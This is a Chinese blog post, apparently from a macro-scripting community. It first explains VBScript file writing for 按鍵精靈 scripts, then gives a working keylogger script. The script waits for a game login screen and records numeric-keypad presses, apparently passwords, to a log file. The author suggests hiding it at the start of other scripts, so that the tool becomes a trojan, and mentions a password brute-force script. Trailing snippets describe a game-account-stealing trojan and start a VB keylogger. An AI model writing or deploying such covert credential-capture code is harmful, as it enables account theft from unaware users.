小鍵盤記錄
2023年03月21日
發指令碼之前,我想講一下關於寫入檔案的問題,看了幾個教程,對於我這樣的菜鳥十分生澀,很難理解。我覺得有必要再講講,以下是我自己理解的,可能不對,請高手指教。
首先講這個:
vbs const forreading=1
vbs const forwriting=2
也有這樣寫的
其實這是不用寫的,這只是乙個引數解釋,告訴你當引數=1是是以讀方式開啟檔案;=2時是以寫方式
開啟檔案,=8時是以追加寫方式開啟檔案。那麼這個引數1,2,8寫在那裡呢?下面再說。
其次我們來看這個:
vbs set a = createobject("scripting.filesystemobject")
這個最不好理理解,不過好在我們不用理解,你只要記住,不論生成檔案還是開啟檔案,在前面都要加
這麼一句就可以了。其中除了a是變數名稱可以改以外,其它的照搬就是了。
接著我們來看
vbs set f=a.createtextfile(filename)
這句是生成檔案的,不光txt檔案,也可以生成htm檔案等,括號中是要生成的檔案路徑及名稱,如:「c:\1.txt」,一定要加引號的。還有就是,這句裡有兩個變數名f和a,前面的f是寫的時候用的,後面的a要和上一句的變數名一致。
總結一下就是說,我們想在c盤下生成乙個1.txt檔案,只要以下2句就可以做到:
vbs set a = createobject("scripting.filesystemobject")
vbs set f=a.createtextfile("c:\1.txt")
要注意,這樣建立的檔案是用寫方式開啟的,我們可以用下面這句來寫入內容:
vbs f.writeline("內容")
但這樣寫入會覆蓋上一次寫入的內容,所以不想覆蓋就要用到下面這句
vbs set f=a.opentextfile("c:\1.txt",8,true)
這句的意思是以追加的方式開啟「c:\1.txt」,如果不存在則生成乙個。其中的8,就是引數,我們上面講過,它如果是1或2時是什麼意思。
要是我以上講的你都不理解,你就記住,用追加寫方式開啟乙個檔案,寫入文字「1」,沒有的話就生成乙個再寫入,只要這樣寫就好了:
vbs set a = createobject("scripting.filesystemobject")
vbs set f=a.opentextfile("c:\1.txt",8,true)
vbs f.writeline("1")
就三句話,複製就好了。
下面進入正題,木馬的問題很頭痛,鍵盤記錄程式也很頭痛,好在我們有專業軟體。可是這就能阻止帳號丟失嗎?我今天用了30分鐘就寫了乙個鍵盤記錄指令碼,雖然暫時功能比較簡單,但有了這個思路,小精靈本身就可以是木馬!
下面這個指令碼可以實現,在檢測到某遊戲的登陸介面後,在按鍵精靈所在目錄生成乙個鍵盤記錄檔案,記錄10秒種內的小鍵盤動作.
rem start
vbscall findpic(0,0,1023,767,"登陸.bmp",0.9,x,y)
if x>=0 and y>=0
gosub 時間
goto start
else
goto start
endif
sub 時間
vbs starttime=timer
rem time
vbs stoptime=timer
vbs t=stoptime-starttime
//修改t的值可以延長記錄時間
if t<10
gosub 記錄
goto time
else
//每次記錄的結果用"-------"分開
vbs f.writeline("--------")
endscript
endif
return
sub 記錄
//開啟檔案
vbs filename="..\鍵盤記錄.txt"
vbs set a = createobject("scripting.filesystemobject")
vbs set f=a.opentextfile(filename,8,true)
//監控鍵盤
vbscall call getkeystate(asc)
//寫入結果
if getkeystate(96)=-1 or getkeystate(96)=1
vbs f.writeline("0")
//延時越短越容易出現先1次按鍵多次記錄的情況,目前這個值基本可以滿足要求
delay 150
endif
if getkeystate(97)=-1 or getkeystate(97)=1
vbs f.writeline("1")
delay 150
endif
if getkeystate(98)=-1 or getkeystate(98)=1
vbs f.writeline("2")
delay 150
endif
if getkeystate(99)=-1 or getkeystate(99)=1
vbs f.writeline("3")
delay 150
endif
if getkeystate(100)=-1 or getkeystate(100)=1
vbs f.writeline("4")
delay 150
endif
if getkeystate(101)=-1 or getkeystate(101)=1
vbs f.writeline("5")
delay 150
endif
if getkeystate(102)=-1 or getkeystate(102)=1
vbs f.writeline("6")
delay 150
endif
if getkeystate(103)=-1 or getkeystate(103)=1
vbs f.writeline("7")
delay 150
endif
if getkeystate(104)=-1 or getkeystate(104)=1
vbs f.writeline("8")
delay 150
endif
if getkeystate(105)=-1 or getkeystate(105)=1
vbs f.writeline("9")
delay 150
endif
if getkeystate(13)=-1 or getkeystate(13)=1
vbs f.writeline("回車")
delay 150
endif
return 記錄
目前我只寫了記錄小鍵盤的指令碼,全部都監控也很簡單,把它寫在某些指令碼的前面,然後......
不要問我怎麼能講記錄檔案傳送出來,雖然我前幾天寫了個生日密碼爆破指令碼,今天又寫了這個,但我鄭重宣告:我對盜號沒有興趣!!!一切只為研究之用,非法使用,一切後果由使用者自己承擔。
希望以上對想我一樣菜的朋友有幫助,最後還是要提醒,以上指令碼必須安裝qmboost外掛程式。
鍵盤記錄木馬 鍵盤記錄員
鍵盤記錄員108627 win32.pswtroj.onlinegames.xn.108627 這個病毒是乙個盜號木馬程式。它利用鍵盤記錄的方法,記錄下使用者輸入的全部資訊,進行加密後傳送給病毒作者。病毒作者通過一定技術手段,就可以從這些資訊中篩選出使用者的各類帳號和密碼。此篇預警播報中的病毒,是乙...
鍵盤記錄程式
這是乙個 windows環境下32位組合語言程式設計 中的例子,在動態鏈結庫和鉤子那章,作為乙個鉤子的示例程式。原理很簡單,裝個全域性鉤子,然後鉤住所有的鍵盤資訊即可。但是這裡存在兩個問題,一是裝什麼型別的全域性鉤子才能鉤住所有程序的鍵盤資訊,二是鉤住的鍵盤資訊的翻譯。大家都知道,鉤子函式鉤住的資訊...
vb鍵盤記錄
private sub timer1 timer dx鍵盤記錄 on error resume next static keyarray 255 as byte dim key count as integer,vkeycode as integer,vkeyasc as string di key...